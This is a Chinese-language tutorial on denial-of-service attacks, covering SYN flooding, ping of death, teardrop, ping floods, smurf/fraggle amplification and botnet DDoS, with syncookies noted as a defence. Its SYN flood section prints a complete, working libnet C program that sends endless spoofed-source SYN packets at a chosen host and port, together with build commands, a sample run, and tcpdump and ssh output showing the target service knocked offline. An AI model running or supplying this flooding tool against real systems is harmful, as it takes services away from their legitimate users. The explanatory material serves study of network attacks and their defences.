從程式詳解拒絕服務***

拒絕服務(Denial of Service,  DoS)***是最簡單的網路***形式之一,它只阻止對服務或資源的訪問,而不是試圖竊取資訊。DoS***有兩種常見的形式:使服務崩潰和泛洪服務。相比基於網路的利用而言,使服務崩潰的拒絕服務***實際上更類似於程式利用。通常這些***依賴於特定供應商提供的拙劣實現。緩衝區溢位漏洞通常會使目標程式崩潰,而不是將執行流程轉向注入的shellcode。如果該程式恰好在伺服器上,那麼在伺服器崩潰之後任何人將不能訪問它。類似的崩潰式DoS***緊緊依賴於特定程式和特定版本。因為作業系統負責處理網路堆疊,程式碼的崩潰會卸下核心程式,拒絕為整個機器提供服務。在現代作業系統中,許多這樣的漏洞在很久以前就已經得到修補,但考慮這些技術如何應用於不同的情形仍是有用的。
1.SYN泛洪(Flooding)
SYN泛洪會耗盡TCP/IP堆疊,而不是耗盡網路頻寬。因為TCP保持“可靠的”連線,所以需要在某處對每個連線進行跟蹤。核心程式中的TCP/IP堆疊對此進行處理,但堆疊表有限,所以它只能跟蹤若干個傳入的連多。SYN泛洪***使用欺騙來利用這種限制。
***者使用一個偽造的不存在的源地址,用許多SYN資料包泛洪受害者的系統。因為SYN資料包用來開啟一個TCP連線,所以受害者的機器會向偽造的地址傳送一個SYN/ACK資料包作為響應,並等待預期的ACK響應。每個這種處於等待狀態、半開的連線都進入空間有限的待處理佇列。因為偽造的源地址實際上並不存在,所以將那些待處理佇列中的記錄刪除並完成連線所需的ACK響應永遠不會到來。相反,每個半開連線一定超時,這將花費一段比較長的時間。只要***者使用偽造的SYN資料包繼續泛洪受害者的系統,受害者的待處理佇列將一直保持滿員,這使得真正的SYN資料包幾乎不可能到達系統並開啟有效的TCP/IP連線。利用nemesis和arpspoof的原始碼作為參考,您應當能夠編寫出完成這種***的程式。下面的例子程式使用了libnet函式,它是從我們先前解釋過的原始碼和套接字函式中提取出來的。Nemesis的原始碼使用函式libnet_get_prand()獲得用於各個IP域的偽隨機數。函式libnet_see_prand()用來產生隨機程式的種子數。在下面的程式中,同樣使用了這些函式。
Synflood.c
#include <libnet.h>
#define FLOOD_DELAY 5000 // Delay between packet injects by 5000 ms.
/* Returns an IP in x.x.x.x notation */
char *print_ip(u_long *ip_addr_ptr) {
   return inet_ntoa( *((struct in_addr *)ip_addr_ptr) );
}
int main(int argc, char *argv[]) {
   u_long dest_ip;
   u_short dest_port;
   u_char errbuf[LIBNET_ERRBUF_SIZE], *packet;
   int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H;
   if(argc < 3)
   {
      printf(“Usage:
%s <target host> <target port>
“, argv[0]);
      exit(1);
   }
   dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // The host
   dest_port = (u_short) atoi(argv[2]); // The port
   network = libnet_open_raw_sock(IPPROTO_RAW); // Open network interface.
   if (network == -1)
      libnet_error(LIBNET_ERR_FATAL, “can`t open network interface.  — this program
 must run
as root.
“);
   libnet_init_packet(packet_size, &packet); // Allocate memory for packet.
   if (packet == NULL)
      libnet_error(LIBNET_ERR_FATAL, “can`t initialize packet memory.
“);
   libnet_seed_prand(); // Seed the random number generator.
   printf(“SYN Flooding port %d of %s..
“, dest_port, print_ip(&dest_ip));
   while(1) // loop forever (until break by CTRL-C)
   {
      libnet_build_ip(LIBNET_TCP_H,      // Size of the packet sans IP header.
         IPTOS_LOWDELAY,                 // IP tos
         libnet_get_prand(LIBNET_PRu16), // IP ID (randomized)
         0,                              // Frag stuff
         libnet_get_prand(LIBNET_PR8),   // TTL (randomized)
         IPPROTO_TCP,                    // Transport protocol
         libnet_get_prand(LIBNET_PRu32), // Source IP (randomized)
         dest_ip,                        // Destination IP
         NULL,                           // Payload (none)
         0,                              // Payload length
         packet);                        // Packet header memory
      libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // Source TCP port (random)
         dest_port,                      // Destination TCP port
         libnet_get_prand(LIBNET_PRu32), // Sequence number (randomized)
         libnet_get_prand(LIBNET_PRu32), // Acknowledgement number (randomized)
         TH_SYN,                         // Control flags (SYN flag set only)
         libnet_get_prand(LIBNET_PRu16), // Window size (randomized)
         0,                              // Urgent pointer
         NULL,                           // Payload (none)
         0,                              // Payload length
         packet + LIBNET_IP_H);          // Packet header memory
      if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
         libnet_error(LIBNET_ERR_FATAL, “can`t compute checksum
“);
      byte_count = libnet_write_ip(network, packet, packet_size); // Inject packet.
      if (byte_count < packet_size)
         libnet_error(LIBNET_ERR_WARNING, “Warning: Incomplete packet written.  (%d of %d
bytes)”, byte_count, packet_size);
      usleep(FLOOD_DELAY); // Wait for FLOOD_DELAY milliseconds.
   }
   libnet_destroy_packet(&packet); // Free packet memory.
   if (libnet_close_raw_sock(network) == -1) // Close the network interface.
      libnet_error(LIBNET_ERR_WARNING, “can`t close network interface.”);
   return 0;
}
這個程式使用print_ip()函式將u_long型別(libnet使用這種資料型別儲存IP地址)轉換成inet_ntoa()期望的結構型別。這個過程並不改變值——這種轉換隻是為了滿足編譯程式的需要。
Libnet當前的發行版本是1.1,它與libnet l.0不相容。但是,nemesis和arpspoof仍依賴於libnet 1.O版,因此在LiveCD中提供的是1.0版libnet,而且在我們的synflood程式中也使用這個版本。與使用libpcap時的編譯相似,使用libnet編譯時,需要使用-lnet標記。但是,對於編譯程式來說這些資訊還不夠,如下面的輸出所示。
lcg@linux:~/src $ gcc -o synflood synflood.c -lnet
In file included from synflood.c:1:
/usr/include/libnet.h:87:2: #error “byte order has not been specified, you`ll”
synflood.c:6: error: syntax error before string constant
lcg@linux:~/src $
編譯程式仍會失敗,因為需要為libnet設定若干個強制性定義標記。Libnet中包含的一個名為libnet-config的程式能輸出這些標記。
lcg@linux:~/src $ libnet-config –help
Usage: libnet-config [OPTIONS]
Options:
        [–libs]
        [–cflags]
        [–defines]
lcg@linux:~/src $ libnet-config –defines
-D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H
-DLIBNET_LIL_ENDIAN
通過對它們使用BASH shell的命令令替換,可以將這些定義動態插入編譯命令今中。
lcg@linux:~/src $ gcc $(libnet-config –defines) -o synflood
synflood.c -lnet
lcg@linux:~/src $ ./synflood
Usage:
./synflood       <target host> <target port>
lcg@linux:~/src $
lcg@linux:~/src $ ./synflood 192.168.42.88 22
Fatal: can`t open network interface.  — this program must run as root.
lcg@linux:~/src $ sudo ./synflood 192.168.42.88 22
SYN Flooding port 22 of 192.168.42.88..
在上面的例子中,主機192.168.42.88是一個Windows XP機器,它藉助cygwin在埠22上執行著一個openssh伺服器。下面的tcpdump輸出顯示了欺騙SYN資料包從貌似隨機的IP地址處泛洪了主機。程式執行時,合理的連線將不能連通這個埠。
lcg@linux:~/src $ sudo tcpdump -i eth0 -nl -c 15 “host 192.168.42.88”
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
17:08:16.334498 IP 121.213.150.59.4584 > 192.168.42.88.22: S
751659999:751659999(0) win 14609
17:08:16.346907 IP 158.78.184.110.40565 > 192.168.42.88.22: S
139725579:139725579(0) win 64357
17:08:16.358491 IP 53.245.19.50.36638 > 192.168.42.88.22: S
322318966:322318966(0) win 43747
17:08:16.370492 IP 91.109.238.11.4814 > 192.168.42.88.22: S
685911671:685911671(0) win 62957
17:08:16.382492 IP 52.132.214.97.45099 > 192.168.42.88.22: S
71363071:71363071(0) win 30490
17:08:16.394909 IP 120.112.199.34.19452 > 192.168.42.88.22: S
1420507902:1420507902(0) win 53397
17:08:16.406491 IP 60.9.221.120.21573 > 192.168.42.88.22: S
2144342837:2144342837(0) win 10594
17:08:16.418494 IP 137.101.201.0.54665 > 192.168.42.88.22: S
1185734766:1185734766(0) win 57243
17:08:16.430497 IP 188.5.248.61.8409 > 192.168.42.88.22: S
1825734966:1825734966(0) win 43454
17:08:16.442911 IP 44.71.67.65.60484 > 192.168.42.88.22: S
1042470133:1042470133(0) win 7087
17:08:16.454489 IP 218.66.249.126.27982 > 192.168.42.88.22: S
1767717206:1767717206(0) win 50156
17:08:16.466493 IP 131.238.172.7.15390 > 192.168.42.88.22: S
2127701542:2127701542(0) win 23682
17:08:16.478497 IP 130.246.104.88.48221 > 192.168.42.88.22: S
2069757602:2069757602(0) win 4767
17:08:16.490908 IP 140.187.48.68.9179 > 192.168.42.88.22: S
1429854465:1429854465(0) win 2092
17:08:16.502498 IP 33.172.101.123.44358 > 192.168.42.88.22: S
1524034954:1524034954(0) win 26970
15 packets captured
30 packets received by filter
0 packets dropped by kernel
lcg@linux:~/src $ ssh -v 192.168.42.88
OpenSSH_4.4p2, OpenSSL 0.9.8c 05 Sep 2006
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Connecting to 192.168.42.88 [192.168.42.88] port 22.
debug1: connect to address 192.168.42.88 port 22: Connection refused
ssh: connect to host 192.168.42.88 port 22: Connection refused
lcg@linux:~/src $
一些作業系統(例如Linux)設法使用一種稱為syncookies的技術阻止SYN泛洪***。TCP堆疊利用syncookies使用一個基於主機詳細資訊和次數(以阻止重放***)的值為SYN/ACK資料包調整初始確認號碼。
直到檢查完TCP握手的最後一個ACK包之後,TCP連線實際上才會被啟用。如果序號不匹配或ACK沒有到達,就決不會建立連線。這有助於阻止欺騙性連線,因為ACK包要求向原始SYN包的源地址傳送資訊。
2. 死亡之ping
根據ICMP說明書,ICMP響應訊息資料包的資料部分只能是216,即65536個位元組。ICMP資料包的資料部分通常被忽略,因為重要的資訊包含在頭中。如果向某些作業系統傳送超過規定大小的ICMP回送訊息,系統將會崩潰。這個超大的ICMP回送訊息被形象地稱為“死亡之ping (ping of Death)”。這是一種非常簡單的對已存在的弱點的***,因為從來沒有人考慮過這種可能性。對您來說,利用libnet編寫一個完成這種***的程式應當很容易,但是,在現實世界它的用處不大。所有現代的系統都修補了這個漏洞。但是,歷史總會重演。儘管超大的ICMP資料包再也不會使計算機崩潰了,但新技術有時會受到類似問題的困擾。普遍應用於電話的藍芽(Bluetooth)協議在L2CAP層上有一種類似的ping資料包,這個層也用於測量在已建立連線的通訊線路上的通訊時間。藍芽的許多實現都受到相同的超大ping資料包問題的困擾。Adam Laurie、Marcel Holtmann和Martin Herfurt將這種***命名為Bluesmack,並且以這個名稱釋出了用於完成這種***的原始碼。
3.淚滴(Teardrop)
另一個源自相同原因的類似的崩潰式DoS***稱為淚滴(teardrop)***。淚滴利用了某些提供商實現IP片段重組時的弱點。通常資料包分段時,儲存在頭中的偏移量將無重疊地排列以重建原始資料包。淚滴***傳送具有重疊偏移量的資料包片段,這將造成對這種不規則條件不進行檢查的實現不可避免地崩潰。
雖然這種特殊的***不再發揮作用了,但理解這個概念可以揭示其他領域內的問題。雖然並非只侷限於拒絕服務,但一種最近在OpenBSD核心(以其自身的安全性為榮)中的遠端漏洞發掘與IPv6資料包碎片有關。IPv6使用更復雜的報頭,甚至使用了與大多數人熟悉的IPv4不同的IP地址格式。在新產品的早期實現中,會經常重複過去所犯的相同錯誤。
4. ping泛洪(Flooding)
泛洪Dos***並不試圖使服務或資源崩潰,而是使它過載從而使其不能響應。類似的***可以佔用其他資源,例如CPU週期和系統程式,但泛洪***總是傾向於試圖佔用網路資源。
最簡單的泛洪***形式是ping泛洪,其目的是耗盡受害者的頻寬,以至於合法的流量不能通過。***者向受害者傳送許多很大的ping資料包,消耗受害者網路連線的頻寬。
這種***沒有什麼過人之處——它只是一場頻寬的戰鬥:比受害者擁有更大頻寬的***者能夠傳送大小超過受害者可以接收的極限的資料,並因此阻止其他合法流量到達受害者處。
5.放大***
實際上,有一些巧妙的實現ping泛洪的方式,它們不需要使用較大的頻寬。放大***利用欺騙和廣播定址使單一的資料包流被成百倍地放大。首先,必須找到一個目標放大系統。這應當是一個允許向廣播地址通訊並且有較多活動主機的網路。然後,***者使用偽造的受害者系統的源地址向放大網路的廣播地址傳送大量的ICMP回送請求資料包。放大器會向放大網路的所有主機廣播這些資料包,然後這些主機會向偽造的源地址(例如,向受害者的機器)傳送相應的ICMP回送應答資料包,如圖所示。
流量放大允許***者傳送相對較小的ICMP回送請求資料包流,而受害者會被成百倍的ICMP回送應答資料包泛洪。可以使用ICMP資料包和UDP回送資料包實施該***。相應技術分別稱為smurf***和fraggle***。
 
6.分散式DoS泛洪
分散式DoS (DDoS)***是泛洪DoS***的分散式版本。因為泛洪DoS***的目的是消耗頻寬,***者佔用的頻寬越大,他們可以造成的破壞就越大。在DDoS***中,***者首先與許多其他主機達成協議並在這些主機上安裝daemon軟體。安裝了這種軟體的系統通常被稱為殭屍(bot),這些系統構成了所謂的殭屍網路(botnet)。這些殭屍耐心地等待,知道***者挑中一個受害者並且決定發動***。***者使用某些控制程式,並且所有殭屍同時使用某種泛洪DoS***向受害者發起進攻。大量分散的主機不但增加了泛洪的效果,而且也使得對***源的跟蹤更加困難。

下回將講解Tcp/Ip劫持技術